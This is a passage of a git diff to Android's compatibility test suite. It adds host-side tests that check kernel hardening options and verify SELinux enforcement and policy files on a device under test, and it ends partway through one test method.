+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libctsseccomp_jni",
+    gtest: false,
+    srcs: [
+        "CtsSeccompJniOnLoad.cpp",
+        "android_seccomp_cts_app_SeccompDeviceTest.cpp",
+    ],
+    sdk_version: "current",
+    static_libs: ["cpufeatures"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    shared_libs: [
+        "liblog",
+    ],
+    stl: "c++_static",
+}
diff --git a/hostsidetests/seccomp/app/jni/Android.mk b/hostsidetests/seccomp/app/jni/Android.mk
deleted file mode 100644
index 45fb135..0000000
--- a/hostsidetests/seccomp/app/jni/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsseccomp_jni
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-		CtsSeccompJniOnLoad.cpp \
-		android_seccomp_cts_app_SeccompDeviceTest.cpp \
-
-LOCAL_SDK_VERSION := current
-LOCAL_LDLIBS := -llog
-LOCAL_C_INCLUDES += ndk/sources/cpufeatures
-LOCAL_STATIC_LIBRARIES := cpufeatures
-
-LOCAL_CFLAGS := -Wall -Werror
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/security/Android.mk b/hostsidetests/security/Android.mk
index cdf71dc..8bef613 100644
--- a/hostsidetests/security/Android.mk
+++ b/hostsidetests/security/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_TAGS := optional
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsSecurityHostTestCases
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 17921bf..ac79c0e 100755
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for the CTS Security host tests">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
 
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSecurityHostTestCases.jar" />
diff --git a/hostsidetests/security/src/android/cts/security/KernelConfigTest.java b/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
new file mode 100644
index 0000000..bec7a9c
--- /dev/null
+++ b/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
@@ -0,0 +1,199 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IDeviceTest;
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.CpuFeatures;
+import com.android.compatibility.common.util.PropertyUtil;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.InputStreamReader;
+import java.lang.String;
+import java.util.stream.Collectors;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * Host-side kernel config tests.
+ *
+ * These tests analyze /proc/config.gz to verify that certain kernel config options are set.
+ */
+public class KernelConfigTest extends DeviceTestCase implements IBuildReceiver, IDeviceTest {
+
+    private static final Map<ITestDevice, HashSet<String>> cachedConfigGzSet = new HashMap<>(1);
+
+    private HashSet<String> configSet;
+
+    private ITestDevice mDevice;
+    private IBuildInfo mBuild;
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setBuild(IBuildInfo build) {
+        mBuild = build;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setDevice(ITestDevice device) {
+        super.setDevice(device);
+        mDevice = device;
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        configSet = getDeviceConfig(mDevice, cachedConfigGzSet);
+    }
+
+    /*
+     * IMPLEMENTATION DETAILS: Cache the configurations from /proc/config.gz on per-device basis
+     * in case CTS is being run against multiple devices at the same time. This speeds up testing
+     * by avoiding pulling/parsing the config file for each individual test
+     */
+    private static HashSet<String> getDeviceConfig(ITestDevice device,
+            Map<ITestDevice, HashSet<String>> cache) throws Exception {
+        if (!device.doesFileExist("/proc/config.gz")){
+            throw new Exception();
+        }
+        HashSet<String> set;
+        synchronized (cache) {
+            set = cache.get(device);
+        }
+        if (set != null) {
+            return set;
+        }
+        File file = File.createTempFile("config.gz", ".tmp");
+        file.deleteOnExit();
+        device.pullFile("/proc/config.gz", file);
+
+        BufferedReader reader = new BufferedReader(new InputStreamReader(new GZIPInputStream(new FileInputStream(file))));
+        set = new HashSet<String>(reader.lines().collect(Collectors.toList()));
+
+        synchronized (cache) {
+            cache.put(device, set);
+        }
+        return set;
+    }
+
+    /**
+     * Test that the kernel has Stack Protector Strong enabled.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testConfigStackProtectorStrong() throws Exception {
+        assertTrue("Linux kernel must have Stack Protector enabled: " +
+                "CONFIG_CC_STACKPROTECTOR_STRONG=y",
+                configSet.contains("CONFIG_CC_STACKPROTECTOR_STRONG=y"));
+    }
+
+    /**
+     * Test that the kernel's executable code is read-only, read-only data is non-executable and
+     * non-writable, and writable data is non-executable.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testConfigROData() throws Exception {
+        if (configSet.contains("CONFIG_UH_RKP=y"))
+            return;
+
+        assertTrue("Linux kernel must have RO data enabled: " +
+                "CONFIG_DEBUG_RODATA=y or CONFIG_STRICT_KERNEL_RWX=y",
+                configSet.contains("CONFIG_DEBUG_RODATA=y") ||
+                configSet.contains("CONFIG_STRICT_KERNEL_RWX=y"));
+
+        if (configSet.contains("CONFIG_MODULES=y")) {
+            assertTrue("Linux kernel modules must also have RO data enabled: " +
+                    "CONFIG_DEBUG_SET_MODULE_RONX=y or CONFIG_STRICT_MODULE_RWX=y",
+                    configSet.contains("CONFIG_DEBUG_SET_MODULE_RONX=y") ||
+                    configSet.contains("CONFIG_STRICT_MODULE_RWX=y"));
+        }
+    }
+
+    /**
+     * Test that the kernel implements static and dynamic object size bounds checking of copies
+     * between user-space and kernel-space.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testConfigHardenedUsercopy() throws Exception {
+        if (PropertyUtil.getFirstApiLevel(mDevice) < 28) {
+            return;
+        }
+
+        assertTrue("Linux kernel must have Hardened Usercopy enabled: CONFIG_HARDENED_USERCOPY=y",
+                configSet.contains("CONFIG_HARDENED_USERCOPY=y"));
+    }
+
+    /**
+     * Test that the kernel has PAN emulation enabled from architectures that support it.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testConfigPAN() throws Exception {
+        if (PropertyUtil.getFirstApiLevel(mDevice) < 28) {
+            return;
+        }
+
+        if (CpuFeatures.isArm64(mDevice)) {
+            assertTrue("Linux kernel must have PAN emulation enabled: " +
+                    "CONFIG_ARM64_SW_TTBR0_PAN=y or CONFIG_ARM64_PAN=y",
+                    (configSet.contains("CONFIG_ARM64_SW_TTBR0_PAN=y") ||
+                    configSet.contains("CONFIG_ARM64_PAN=y")));
+        } else if (CpuFeatures.isArm32(mDevice)) {
+            assertTrue("Linux kernel must have PAN emulation enabled: CONFIG_CPU_SW_DOMAIN_PAN=y",
+                    configSet.contains("CONFIG_CPU_SW_DOMAIN_PAN=y"));
+        }
+    }
+
+    /**
+     * Test that the kernel has KTPI enabled for architectures and kernel versions that support it.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testConfigKTPI() throws Exception {
+        if (PropertyUtil.getFirstApiLevel(mDevice) < 28) {
+            return;
+        }
+
+        if (CpuFeatures.isArm64(mDevice) && !CpuFeatures.kernelVersionLessThan(mDevice, 4, 4)) {
+            assertTrue("Linux kernel must have KPTI enabled: CONFIG_UNMAP_KERNEL_AT_EL0=y",
+                    configSet.contains("CONFIG_UNMAP_KERNEL_AT_EL0=y"));
+        } else if (CpuFeatures.isX86(mDevice)) {
+            assertTrue("Linux kernel must have KPTI enabled: CONFIG_PAGE_TABLE_ISOLATION=y",
+                    configSet.contains("CONFIG_PAGE_TABLE_ISOLATION=y"));
+        }
+    }
+}
diff --git a/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java b/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java
new file mode 100644
index 0000000..8443ef1
--- /dev/null
+++ b/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java
@@ -0,0 +1,1339 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.RestrictedBuildTest;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.util.PropertyUtil;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IDeviceTest;
+
+import com.android.compatibility.common.util.CddTest;
+
+import java.io.BufferedReader;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileReader;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.lang.String;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import java.util.Scanner;
+import java.util.Set;
+import java.util.stream.Collectors;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+
+/**
+ * Host-side SELinux tests.
+ *
+ * These tests analyze the policy file in use on the subject device directly or
+ * run as the shell user to evaluate aspects of the state of SELinux on the test
+ * device which otherwise would not be available to a normal apk.
+ */
+public class SELinuxHostTest extends DeviceTestCase implements IBuildReceiver, IDeviceTest {
+
+    private static final Map<ITestDevice, File> cachedDevicePolicyFiles = new HashMap<>(1);
+    private static final Map<ITestDevice, File> cachedDevicePlatFcFiles = new HashMap<>(1);
+    private static final Map<ITestDevice, File> cachedDeviceNonplatFcFiles = new HashMap<>(1);
+    private static final Map<ITestDevice, File> cachedDeviceVendorManifest = new HashMap<>(1);
+    private static final Map<ITestDevice, File> cachedDeviceSystemPolicy = new HashMap<>(1);
+
+    private File sepolicyAnalyze;
+    private File checkSeapp;
+    private File checkFc;
+    private File aospSeappFile;
+    private File aospFcFile;
+    private File aospPcFile;
+    private File aospSvcFile;
+    private File devicePolicyFile;
+    private File devicePlatSeappFile;
+    private File deviceNonplatSeappFile;
+    private File devicePlatFcFile;
+    private File deviceNonplatFcFile;
+    private File devicePcFile;
+    private File deviceSvcFile;
+    private File seappNeverAllowFile;
+    private File libsepolwrap;
+    private File libcpp;
+    private File sepolicyTests;
+
+    private IBuildInfo mBuild;
+
+    /**
+     * A reference to the device under test.
+     */
+    private ITestDevice mDevice;
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setBuild(IBuildInfo build) {
+        mBuild = build;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setDevice(ITestDevice device) {
+        super.setDevice(device);
+        mDevice = device;
+    }
+
+    public static File copyResourceToTempFile(String resName) throws IOException {
+        InputStream is = SELinuxHostTest.class.getResourceAsStream(resName);
+        File tempFile = File.createTempFile("SELinuxHostTest", ".tmp");
+        FileOutputStream os = new FileOutputStream(tempFile);
+        byte[] buf = new byte[1024];
+        int len;
+
+        while ((len = is.read(buf)) != -1) {
+            os.write(buf, 0, len);
+        }
+        os.flush();
+        os.close();
+        tempFile.deleteOnExit();
+        return tempFile;
+    }
+
+    private static void appendTo(String dest, String src) throws IOException {
+        try (FileInputStream is = new FileInputStream(new File(src));
+             FileOutputStream os = new FileOutputStream(new File(dest))) {
+            byte[] buf = new byte[1024];
+            int len;
+
+            while ((len = is.read(buf)) != -1) {
+                os.write(buf, 0, len);
+            }
+        }
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
+        sepolicyAnalyze = buildHelper.getTestFile("sepolicy-analyze");
+        sepolicyAnalyze.setExecutable(true);
+
+        devicePolicyFile = getDevicePolicyFile(mDevice);
+        if (isSepolicySplit(mDevice)) {
+            devicePlatFcFile = getDeviceFile(mDevice, cachedDevicePlatFcFiles,
+                    "/system/etc/selinux/plat_file_contexts", "plat_file_contexts");
+            if (mDevice.doesFileExist("/vendor/etc/selinux/nonplat_file_contexts")){
+                // Old nonplat_* naming can be present if a framework-only OTA was done.
+                deviceNonplatFcFile = getDeviceFile(mDevice, cachedDeviceNonplatFcFiles,
+                        "/vendor/etc/selinux/nonplat_file_contexts", "nonplat_file_contexts");
+            } else {
+                deviceNonplatFcFile = getDeviceFile(mDevice, cachedDeviceNonplatFcFiles,
+                        "/vendor/etc/selinux/vendor_file_contexts", "vendor_file_contexts");
+            }
+        } else {
+            devicePlatFcFile = getDeviceFile(mDevice, cachedDevicePlatFcFiles,
+                    "/plat_file_contexts", "plat_file_contexts");
+            deviceNonplatFcFile = getDeviceFile(mDevice, cachedDeviceNonplatFcFiles,
+                    "/vendor_file_contexts", "vendor_file_contexts");
+        }
+    }
+
+    /*
+     * IMPLEMENTATION DETAILS: We cache some host-side policy files on per-device basis (in case
+     * CTS supports running against multiple devices at the same time). HashMap is used instead
+     * of WeakHashMap because in the grand scheme of things, keeping ITestDevice and
+     * corresponding File objects from being garbage-collected is not a big deal in CTS. If this
+     * becomes a big deal, this can be switched to WeakHashMap.
+     */
+    private static File getDeviceFile(ITestDevice device,
+            Map<ITestDevice, File> cache, String deviceFilePath,
+            String tmpFileName) throws Exception {
+        if (!device.doesFileExist(deviceFilePath)){
+            throw new Exception();
+        }
+        File file;
+        synchronized (cache) {
+            file = cache.get(device);
+        }
+        if (file != null) {
+            return file;
+        }
+        file = File.createTempFile(tmpFileName, ".tmp");
+        file.deleteOnExit();
+        device.pullFile(deviceFilePath, file);
+        synchronized (cache) {
+            cache.put(device, file);
+        }
+        return file;
+    }
+
+    private static File buildSystemPolicy(ITestDevice device, Map<ITestDevice, File> cache,
+            String tmpFileName) throws Exception {
+        File builtPolicyFile;
+        synchronized (cache) {
+            builtPolicyFile = cache.get(device);
+        }
+        if (builtPolicyFile != null) {
+            return builtPolicyFile;
+        }
+
+
+        builtPolicyFile = File.createTempFile(tmpFileName, ".tmp");
+        builtPolicyFile.deleteOnExit();
+
+        File secilc = copyResourceToTempFile("/secilc");
+        secilc.setExecutable(true);
+
+        File systemSepolicyCilFile = File.createTempFile("plat_sepolicy", ".cil");
+        systemSepolicyCilFile.deleteOnExit();
+
+        assertTrue(device.pullFile("/system/etc/selinux/plat_sepolicy.cil", systemSepolicyCilFile));
+
+        ProcessBuilder pb = new ProcessBuilder(
+            secilc.getAbsolutePath(),
+            "-m", "-M", "true", "-c", "30",
+            "-o", builtPolicyFile.getAbsolutePath(),
+            systemSepolicyCilFile.getAbsolutePath());
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line;
+        StringBuilder errorString = new StringBuilder();
+        while ((line = result.readLine()) != null) {
+            errorString.append(line);
+            errorString.append("\n");
+        }
+        assertTrue(errorString.toString(), errorString.length() == 0);
+
+        synchronized (cache) {
+            cache.put(device, builtPolicyFile);
+        }
+        return builtPolicyFile;
+    }
+
+    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
+    /**
+     * Returns the host-side file containing the SELinux policy of the device under test.
+     */
+    public static File getDevicePolicyFile(ITestDevice device) throws Exception {
+        return getDeviceFile(device, cachedDevicePolicyFiles, "/sys/fs/selinux/policy", "sepolicy");
+    }
+
+    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
+    /**
+     * Returns the host-side file containing the system SELinux policy of the device under test.
+     */
+    public static File getDeviceSystemPolicyFile(ITestDevice device) throws Exception {
+        return buildSystemPolicy(device, cachedDeviceSystemPolicy, "system_sepolicy");
+    }
+
+    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
+    /**
+     * Returns the major number of sepolicy version of device's vendor implementation.
+     * TODO(b/37999212): Use VINTF object API instead of parsing vendor manifest.
+     */
+    public static int getVendorSepolicyVersion(ITestDevice device) throws Exception {
+        String deviceManifestPath =
+                (device.doesFileExist("/vendor/etc/vintf/manifest.xml")) ?
+                "/vendor/etc/vintf/manifest.xml" :
+                "/vendor/manifest.xml";
+        File vendorManifestFile = getDeviceFile(device, cachedDeviceVendorManifest,
+                deviceManifestPath, "manifest.xml");
+
+        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+        DocumentBuilder db = dbf.newDocumentBuilder();
+        Document doc = db.parse(vendorManifestFile);
+        Element root = doc.getDocumentElement();
+        Element sepolicy = (Element) root.getElementsByTagName("sepolicy").item(0);
+        Element version = (Element) sepolicy.getElementsByTagName("version").item(0);
+        String sepolicyVersion = version.getTextContent().split("\\.")[0];
+        return Integer.parseInt(sepolicyVersion);
+    }
+
+    /**
+     * Tests that the kernel is enforcing selinux policy globally.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testGlobalEnforcing() throws Exception {
+        CollectingOutputReceiver out = new CollectingOutputReceiver();
+        mDevice.executeShellCommand("cat /sys/fs/selinux/enforce", out);
+        assertEquals("SELinux policy is not being enforced!", "1", out.getOutput());
+    }
+
+    /**
+     * Tests that all domains in the running policy file are in enforcing mode
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    @RestrictedBuildTest
+    public void testAllDomainsEnforcing() throws Exception {
+
+        /* run sepolicy-analyze permissive check on policy file */
+        ProcessBuilder pb = new ProcessBuilder(sepolicyAnalyze.getAbsolutePath(),
+                devicePolicyFile.getAbsolutePath(), "permissive");
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line;
+        StringBuilder errorString = new StringBuilder();
+        while ((line = result.readLine()) != null) {
+            errorString.append(line);
+            errorString.append("\n");
+        }
+        assertTrue("The following SELinux domains were found to be in permissive mode:\n"
+                   + errorString, errorString.length() == 0);
+    }
+
+    /**
+     * Asserts that specified type is not associated with the specified
+     * attribute.
+     *
+     * @param attribute
+     *  The attribute name.
+     * @param type
+     *  The type name.
+     */
+    private void assertNotInAttribute(String attribute, String badtype) throws Exception {
+        Set<String> actualTypes = sepolicyAnalyzeGetTypesAssociatedWithAttribute(attribute);
+        if (actualTypes.contains(badtype)) {
+            fail("Attribute " + attribute + " includes " + badtype);
+        }
+    }
+
+    private static final byte[] readFully(InputStream in) throws IOException {
+        ByteArrayOutputStream result = new ByteArrayOutputStream();
+        byte[] buf = new byte[65536];
+        int chunkSize;
+        while ((chunkSize = in.read(buf)) != -1) {
+            result.write(buf, 0, chunkSize);
+        }
+        return result.toByteArray();
+    }
+
+    /**
+     * Runs sepolicy-analyze against the device's SELinux policy and returns the set of types
+     * associated with the provided attribute.
+     */
+    private Set<String> sepolicyAnalyzeGetTypesAssociatedWithAttribute(
+            String attribute) throws Exception {
+        ProcessBuilder pb =
+                new ProcessBuilder(
+                        sepolicyAnalyze.getAbsolutePath(),
+                        devicePolicyFile.getAbsolutePath(),
+                        "attribute",
+                        attribute);
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        int errorCode = p.waitFor();
+        if (errorCode != 0) {
+            fail("sepolicy-analyze attribute " + attribute + " failed with error code " + errorCode
+                    + ": " + new String(readFully(p.getInputStream())));
+        }
+        try (BufferedReader in =
+                new BufferedReader(new InputStreamReader(p.getInputStream()))) {
+            Set<String> types = new HashSet<>();
+            String type;
+            while ((type = in.readLine()) != null) {
+                types.add(type.trim());
+            }
+            return types;
+        }
+    }
+
+    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
+    /**
+     * Returns {@code true} if this device is required to be a full Treble device.
+     */
+    public static boolean isFullTrebleDevice(ITestDevice device)
+            throws DeviceNotAvailableException {
+        return PropertyUtil.getFirstApiLevel(device) > 26 &&
+                PropertyUtil.propertyEquals(device, "ro.treble.enabled", "true");
+    }
+
+    private boolean isFullTrebleDevice() throws DeviceNotAvailableException {
+        return isFullTrebleDevice(mDevice);
+    }
+
+    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
+    /**
+     * Returns {@code true} if this device is required to enforce compatible property.
+     */
+    public static boolean isCompatiblePropertyEnforcedDevice(ITestDevice device)
+            throws DeviceNotAvailableException {
+        return PropertyUtil.propertyEquals(
+                device, "ro.actionable_compatible_property.enabled", "true");
+    }
+
+    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
+    /**
+     * Returns {@code true} if this device has sepolicy split across different paritions.
+     * This is possible even for devices launched at api level higher than 26.
+     */
+    public static boolean isSepolicySplit(ITestDevice device)
+            throws DeviceNotAvailableException {
+        return device.doesFileExist("/system/etc/selinux/plat_file_contexts");
+    }
+
+    /**
+     * Asserts that no vendor domains are exempted from the prohibition on Binder use.
+     *
+     * <p>NOTE: binder_in_vendor_violators attribute is only there to help bring up Treble devices.
+     * It offers a convenient way to temporarily bypass the prohibition on Binder use in vendor
+     * domains. This attribute must not be used on production Treble devices.
+     */
+    public void testNoExemptionsForBinderInVendorBan() throws Exception {
+        if (!isFullTrebleDevice()) {
+            return;
+        }
+
+        Set<String> types =
+            sepolicyAnalyzeGetTypesAssociatedWithAttribute("binder_in_vendor_violators");
+        if (!types.isEmpty()) {
+            List<String> sortedTypes = new ArrayList<>(types);
+            Collections.sort(sortedTypes);
+            fail("Policy exempts vendor domains from ban on Binder: " + sortedTypes);
+        }
+    }
+
+    /**
+     * Asserts that no HAL server domains are exempted from the prohibition of socket use with the
+     * only exceptions for the automotive device type.
+     */
+    public void testNoExemptionsForSocketsUseWithinHalServer() throws Exception {
+        if (!isFullTrebleDevice()) {
+            return;
+        }
+
+        if (getDevice().hasFeature("android.hardware.type.automotive")) {
+            return;
+        }
+
+        Set<String> types = sepolicyAnalyzeGetTypesAssociatedWithAttribute(
+                "hal_automotive_socket_exemption");
+        if (!types.isEmpty()) {
+            List<String> sortedTypes = new ArrayList<>(types);
+            Collections.sort(sortedTypes);
+            fail("Policy exempts domains from ban on socket usage from HAL servers: "
+                    + sortedTypes);
+        }
+    }
+
+    /**
+     * Asserts that no domains are exempted from the prohibition on initiating socket communications
+     * between core and vendor domains.
+     *
+     * <p>NOTE: socket_between_core_and_vendor_violators attribute is only there to help bring up
+     * Treble devices. It offers a convenient way to temporarily bypass the prohibition on
+     * initiating socket communications between core and vendor domains. This attribute must not be
+     * used on production Treble devices.
+     */
+    public void testNoExemptionsForSocketsBetweenCoreAndVendorBan() throws Exception {
+        if (!isFullTrebleDevice()) {
+            return;
+        }
+
+        Set<String> types =
+                sepolicyAnalyzeGetTypesAssociatedWithAttribute(
+                        "socket_between_core_and_vendor_violators");
+        if (!types.isEmpty()) {
+            List<String> sortedTypes = new ArrayList<>(types);
+            Collections.sort(sortedTypes);
+            fail("Policy exempts domains from ban on socket communications between core and"
+                    + " vendor: " + sortedTypes);
+        }
+    }
+
+    /**
+     * Asserts that no vendor domains are exempted from the prohibition on directly
+     * executing binaries from /system.
+     * */
+    public void testNoExemptionsForVendorExecutingCore() throws Exception {
+        if (!isFullTrebleDevice()) {
+            return;
+        }
+
+        Set<String> types =
+                sepolicyAnalyzeGetTypesAssociatedWithAttribute(
+                        "vendor_executes_system_violators");
+        if (!types.isEmpty()) {
+            List<String> sortedTypes = new ArrayList<>(types);
+            Collections.sort(sortedTypes);
+            fail("Policy exempts vendor domains from ban on executing files in /system: "
+                    + sortedTypes);
+        }
+    }
+
+    /**
+     * Tests that mlstrustedsubject does not include untrusted_app
+     * and that mlstrustedobject does not include app_data_file.
+     * This helps prevent circumventing the per-user isolation of
+     * normal apps via levelFrom=user.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testMLSAttributes() throws Exception {
+        assertNotInAttribute("mlstrustedsubject", "untrusted_app");
+        assertNotInAttribute("mlstrustedobject", "app_data_file");
+    }
+
+    /**
+     * Tests that the seapp_contexts file on the device is valid.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testValidSeappContexts() throws Exception {
+
+        /* obtain seapp_contexts file from running device */
+        devicePlatSeappFile = File.createTempFile("plat_seapp_contexts", ".tmp");
+        devicePlatSeappFile.deleteOnExit();
+        deviceNonplatSeappFile = File.createTempFile("nonplat_seapp_contexts", ".tmp");
+        deviceNonplatSeappFile.deleteOnExit();
+        if (mDevice.pullFile("/system/etc/selinux/plat_seapp_contexts", devicePlatSeappFile)) {
+            mDevice.pullFile("/vendor/etc/selinux/nonplat_seapp_contexts", deviceNonplatSeappFile);
+        }else {
+            mDevice.pullFile("/plat_seapp_contexts", devicePlatSeappFile);
+            mDevice.pullFile("/nonplat_seapp_contexts", deviceNonplatSeappFile);
+	}
+
+        /* retrieve the checkseapp executable from jar */
+        checkSeapp = copyResourceToTempFile("/checkseapp");
+        checkSeapp.setExecutable(true);
+
+        /* retrieve the AOSP seapp_neverallows file from jar */
+        seappNeverAllowFile = copyResourceToTempFile("/plat_seapp_neverallows");
+
+        /* run checkseapp on seapp_contexts */
+        ProcessBuilder pb = new ProcessBuilder(checkSeapp.getAbsolutePath(),
+                "-p", devicePolicyFile.getAbsolutePath(),
+                seappNeverAllowFile.getAbsolutePath(),
+                devicePlatSeappFile.getAbsolutePath(),
+                deviceNonplatSeappFile.getAbsolutePath());
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line;
+        StringBuilder errorString = new StringBuilder();
+        while ((line = result.readLine()) != null) {
+            errorString.append(line);
+            errorString.append("\n");
+        }
+        assertTrue("The seapp_contexts file was invalid:\n"
+                   + errorString, errorString.length() == 0);
+    }
+
+    /**
+     * Asserts that the actual file contents starts with the expected file
+     * contents.
+     *
+     * @param expectedFile
+     *  The file with the expected contents.
+     * @param actualFile
+     *  The actual file being checked.
+     */
+    private void assertFileStartsWith(File expectedFile, File actualFile) throws Exception {
+        BufferedReader expectedReader = new BufferedReader(new FileReader(expectedFile.getAbsolutePath()));
+        BufferedReader actualReader = new BufferedReader(new FileReader(actualFile.getAbsolutePath()));
+        String expectedLine, actualLine;
+        while ((expectedLine = expectedReader.readLine()) != null) {
+            actualLine = actualReader.readLine();
+            assertEquals("Lines do not match:", expectedLine, actualLine);
+        }
+    }
+
+    /**
+     * Tests that the seapp_contexts file on the device contains
+     * the standard AOSP entries.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testAospSeappContexts() throws Exception {
+
+        /* obtain seapp_contexts file from running device */
+        devicePlatSeappFile = File.createTempFile("seapp_contexts", ".tmp");
+        devicePlatSeappFile.deleteOnExit();
+        if (!mDevice.pullFile("/system/etc/selinux/plat_seapp_contexts", devicePlatSeappFile)) {
+            mDevice.pullFile("/plat_seapp_contexts", devicePlatSeappFile);
+        }
+        /* retrieve the AOSP seapp_contexts file from jar */
+        aospSeappFile = copyResourceToTempFile("/plat_seapp_contexts");
+
